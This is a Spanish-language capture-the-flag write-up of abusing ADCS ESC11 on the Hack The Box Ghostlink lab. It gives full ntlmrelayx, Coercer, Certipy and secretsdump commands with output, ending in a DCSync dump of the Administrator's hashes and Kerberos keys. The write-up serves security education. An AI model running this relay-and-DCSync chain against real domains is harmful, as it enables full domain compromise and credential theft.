Active Directory Certificate Services: Abusando de ADCS ESC11 (Relay)
Introducción
ESC11 es una vulnerabilidad en Active Directory Certificate Services (ADCS) que ocurre cuando la interfaz RPC de la Autoridad de Certificación (CA), específicamente la interfaz ICertPassage (MS-ICPR), no exige firma ni cifrado para las peticiones de inscripción de certificados. Esto se debe a que la configuración IF_ENFORCEENCRYPTICERTREQUEST se encuentra desactivada en la CA.
Al no requerirse firmas de paquetes ni cifrado en esta interfaz RPC, es vulnerable a ataques de NTLM Relay. Si un atacante logra coercionar la autenticación NTLM de una cuenta privilegiada (como la cuenta de máquina de un Domain Controller o un Domain Admin), puede retransmitir esa autenticación al puerto RPC de la CA y solicitar un certificado válido en nombre de la víctima.
¿Por qué es crítico?
¿Por qué coercionamos al DC y no a otra máquina?
Necesitamos un certificado usando la plantilla DomainController. Esta plantilla permite la delegación no restringida y nos proporciona un certificado con el que podemos autenticarnos como el propio Domain Controller (
DC01$).La cuenta
DC01$tiene permisos de Enroll en la CA (como cualquier Authenticated User) y el templateDomainControllerestá disponible en el entorno.
Si obtenemos un certificado para DC01$, podemos realizar la siguiente cadena de ataque:
Certificado DC01$ ──> PKINIT (Pedir TGT) ──> Extraer Hash NT ──> DCSync (NTDS.dit) ──> Admin Hash
- Pedir un TGT: Obtenemos el ticket para
DC01$utilizando el certificado recién emitido. - Extraer el hash NT: Obtenemos el hash de la cuenta de máquina durante la solicitud del TGT mediante PKINIT.
- Ejecutar DCSync: Utilizamos el hash del DC contra el
NTDS.ditpara volcar los secretos de todo el dominio. - Compromiso total: Robamos el hash del usuario
Administratorpara tomar el control total del entorno.
Escenario
El escenario en el cual trabajé esta vulnerabilidad fue en la máquina Ghostlink de Hack The Box, la cual presenta una infraestructura que no puede ser exacta, pero creo que lo que lo hice lo representa muy bien:
Para detallar un poco más:
1
2
3
4
10.10.15.174 Kali-Linux → Máquina atacante
172.16.20.20 gpz-op26-toolkits → Máquina comprometida que se usa como puente para llegar a la CA
172.16.20.10 gpz-op26-secure → CA (Certificate Authority) ghostlink-GPZ-OP26-SECURE-CA
10.129.41.180 DC01.ghostlink.local → Domain Controller
Fase 1: Enumeración de ADCS
Primero, necesitamos confirmar si en el dominio existe ADCS y si alguna CA tiene la vulnerabilidad ESC11.
Con Netexec identificamos que existe una CA en el dominio: v
1
2
3
4
5
6
7
➜ Ghostlink nxc ldap dc01.ghostlink.htb -u 'nvirelli' -p u47YUclrDiwWxBheaSzI -M adcs
LDAP 10.129.42.12 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:ghostlink.htb) (signing:Enforced) (channel binding:When Supported)
LDAP 10.129.42.12 389 DC01 [+] ghostlink.htb\nvirelli:u47YUclrDiwWxBheaSzI
ADCS 10.129.42.12 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS 10.129.42.12 389 DC01 Found PKI Enrollment Server: gpz-op26-secure.ghostlink.htb
ADCS 10.129.42.12 389 DC01 Found CN: ghostlink-GPZ-OP26-SECURE-CA
Se confirma la CA y se encuentra en la máquina gpz-op26-secure.
Ahora verificamos las vulnerabilidades de las CAs con Certipy:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
➜ Ghostlink certipy find -u 'nvirelli@ghostlink.htb' -p 'u47YUclrDiwWxBheaSzI' -dc-host dc01.ghostlink.htb -ns 10.129.41.180 -dns-tcp -vulnerable -stdout
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'ghostlink-GPZ-OP26-SECURE-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'ghostlink-GPZ-OP26-SECURE-CA'
[*] Checking web enrollment for CA 'ghostlink-GPZ-OP26-SECURE-CA' @ 'gpz-op26-secure.ghostlink.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : ghostlink-GPZ-OP26-SECURE-CA
DNS Name : gpz-op26-secure.ghostlink.htb
Certificate Subject : CN=ghostlink-GPZ-OP26-SECURE-CA, DC=ghostlink, DC=htb
Certificate Serial Number : 3F4302F3D68A6AAE4B792DB93F31CCE5
Certificate Validity Start : 2026-03-03 16:52:14+00:00
Certificate Validity End : 2126-03-03 17:02:12+00:00
Web Enrollment
HTTP
Enabled : True
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Disabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : GHOSTLINK.HTB\Administrators
Access Rights
ManageCa : GHOSTLINK.HTB\Administrators
GHOSTLINK.HTB\Domain Admins
GHOSTLINK.HTB\Enterprise Admins
ManageCertificates : GHOSTLINK.HTB\Administrators
GHOSTLINK.HTB\Domain Admins
GHOSTLINK.HTB\Enterprise Admins
Enroll : GHOSTLINK.HTB\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled over HTTP.
ESC11 : Encryption is not enforced for ICPR (RPC) requests.
Certificate Templates : [!] Could not find any certificate templates
Enforce Encryption for Requests : Disabled
Esto significa que podemos interceptar la autenticación NTLM de cualquier máquina privilegiada y retransmitirla tal cual a la CA para obtener un certificado.
Fase 2: Preparación del Entorno
Para entender mejor el flujo del ataque, es necesario detallar la estructura del entorno. Como mencionamos anteriormente, la CA (gpz-op26-secure.ghostlink.htb) se encuentra en otro segmento de red (172.16.20.0/24) y nuestra máquina atacante Kali Linux está en la red 10.10.15.0/24. Para resolver esta falta de conectividad directa, utilizamos Ligolo-ng para establecer un túnel y pivotar a través de la máquina gpz-op26-toolkits (172.16.20.20), la cual tiene visibilidad hacia ambas redes.
Con esta configuración lista, ya contamos con direccionamiento y acceso directo hacia la CA.
Fase 3: Ejecución del Ataque
Aquí es donde viene lo interesante, el ataque.
Paso 1: Preparar el Relay
Ntlmrelayx se pondrá en escucha para interceptar la autenticación del DC y retransmitirla a la CA. Abrimos una terminal y ejecutamos:
1
➜ Ghostlink sudo ~/venv/esc11/bin/ntlmrelayx.py -t rpc://172.16.20.10 -rpc-mode ICPR -icpr-ca-name 'ghostlink-GPZ-OP26-SECURE-CA' -smb2support --template DomainController
| Parámetro | ¿Qué hace? |
|---|---|
-t rpc://172.16.20.10 | Target del relay: la CA por protocolo RPC |
-rpc-mode ICPR | Usa la interfaz ICertPassage (la que procesa certificados) |
-icpr-ca-name '...' | Nombre de la CA a la que solicitar el certificado |
--template DomainController | Template de certificado que vamos a solicitar |
En este punto, el relay está esperando conexiones.
Paso 2: Coerción del DC con Coercer
Para forzar la autenticación del Domain Controller hacia nuestra máquina Kali (donde el relay está esperando la conexión), ejecutamos Coercer:
1
2
3
4
5
6
7
coercer coerce \
-l 10.10.15.174 \
-t dc01.ghostlink.htb \
-d ghostlink.htb \
-u nvirelli \
-p 'u47YUclrDiwWxBheaSzI' \
--dc-ip 10.129.41.180
| Parámetro | ¿Qué hace? |
|---|---|
coerce | Modo de ataque: fuerza al target a autenticarse contra nosotros |
-l 10.10.15.174 | Listener IP (nuestra Kali). El DC se conectará a esta IP |
-t dc01.ghostlink.htb | Target (el que vamos a coercionar). Puede ser IP o hostname |
-d ghostlink.htb | Dominio al que pertenece el usuario |
-u nvirelli | Usuario con el que nos autenticamos al DC para enviar las llamadas RPC |
-p 'u47YUclrDiwWxBheaSzI' | Contraseña del usuario |
--dc-ip 10.129.41.180 | IP del DC (necesaria porque el hostname resuelve a la misma IP y coercer necesita saber dónde está el DC) |
¿Qué significa esto?
Usamos las credenciales denvirellipara invocar métodos RPC en el DC y obligarlo a iniciar una conexión saliente hacia nuestra IP (10.10.15.174).
Cuando Coercer pregunte para continuar por los distintos métodos y protocolos, ingresamos C (Continue):
1
Continue (C) | Skip this function (S) | Stop exploitation (X) ?
Presionamos C para continuar (Coercer intentará varios métodos/protocolos hasta forzar la conexión hacia nuestra IP de escucha).
Flujo del Relay
Cuando ejecutamos ambos comandos en paralelo, el flujo del ataque a nivel de red sigue el siguiente orden:
Fase 4: Obtención del certificado
Como se pudo observar en la salida de NTLM Relay, se obtuvo el certificado solicitado con la plantilla DomainController:
1
2
3
4
5
6
7
8
9
[*] (RPC): Received connection from 10.129.41.180, attacking target rpc://172.16.20.10
[*] (RPC): Authenticating connection from GHOSTLINK/DC01$@10.129.41.180 against rpc://172.16.20.10 SUCCEED
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Generating CSR...
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> CSR generated!
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Getting certificate...
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Successfully requested certificate
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Request ID is 5
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Writing PKCS#12 certificate to ./DC01.pfx
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Certificate successfully written to file
Tenemos DC01.pfx en nuestro disco.
Fase 5: Del certificado a Domain Admin
Con el certificado (DC01.pfx) en nuestro poder, el siguiente paso es obtener el TGT de la cuenta de máquina para posteriormente realizar un DCSync. Sin embargo, al intentar autenticarnos es común toparnos con el siguiente error:
El error KRB_AP_ERR_SKEW (clock skew too great) (código 0x1e) indica que la diferencia horaria entre nuestra máquina atacante y el KDC (Domain Controller) supera el límite permitido (5 minutos por defecto).
Para solucionarlo, sincronizamos el reloj de nuestra máquina de ataque usando ntpdate:
1
sudo ntpdate 10.129.41.180
Existen varias formas de solucionar este error de sincronización de tiempo. Si deseas conocer más alternativas, te recomiendo revisar este artículo:
Con el reloj sincronizado, ejecutamos Certipy utilizando el certificado obtenido para solicitar un TGT y recuperar el hash NT:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜ Ghostlink certipy auth -pfx DC01.pfx -dc-ip 10.129.41.180 -dns-tcp -ns 10.129.41.180 -domain ghostlink.htb
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN DNS Host Name: 'dc01.ghostlink.htb'
[*] Security Extension SID: 'S-1-5-21-3426459382-1936297842-2312468024-1000'
[*] Using principal: 'dc01$@ghostlink.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Wrote credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash: aad3b435b51404eeaad3b435b51404ee:7c02b790a7a6756...
¿Qué ocurrió por detrás?
Al presentar el certificado al KDC (Key Distribution Center) mediante PKINIT (la extensión de Kerberos que permite autenticación basada en certificados):
- Validación de Identidad: El KDC lee el campo SAN (Subject Alternative Name) del certificado, el cual apunta a
dc01.ghostlink.htb.- Emisión del TGT: Al comprobar que el certificado es legítimo y confiable, el KDC genera y nos entrega un TGT (Ticket Granting Ticket) para la cuenta de máquina
DC01$.- Recuperación del Hash NT: Durante este intercambio PKINIT (específicamente en la respuesta AS-REP), Certipy descifra la estructura de datos y extrae el hash NT de la cuenta del controlador de dominio.
Con el hash del DC, podemos ejecutar DCSync. La cuenta DC01$ tiene permisos de replicación de directorio (GetChanges, GetChangesAll), así que puede solicitar una copia del NTDS.dit:
1
2
3
4
5
6
7
8
9
10
11
12
13
➜ Ghostlink secretsdump.py ghostlink.htb/dc01\$@dc01.ghostlink.htb -dc-ip 10.129.41.180 -hashes :82c9731fecb932a3f457f81768641f68 -just-dc-user administrator
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8190e067f478002ddd63eb209b016696:::
[*] Kerberos keys grabbed
Administrator:0x14:3291eeea0dfc6d311e1fc6f5ea0920b0cfee75d818a96b1fd5a70b3b6f28706d
Administrator:0x13:b82fd32fef344067a56681879e2d937e
Administrator:aes256-cts-hmac-sha1-96:b2e73d40a99d49f55a44a05a02fa898119d6f4de72c1eceb5d484c0679d92fd8
Administrator:aes128-cts-hmac-sha1-96:c3607a0efea3207eb5b1df36eb2dd256
Administrator:0x17:8190e067f478002ddd63eb209b016696
[*] Cleaning up...
Gracias por leer, espero que te sirva. Si tienes alguna duda, sugerencia, corrección o simplemente quieres compartir algo al respecto, tienes mis redes para contactarme.
Frase para finalizar:
“No tengo talentos especiales, pero sí soy apasionadamente curioso.”
— Albert Einstein






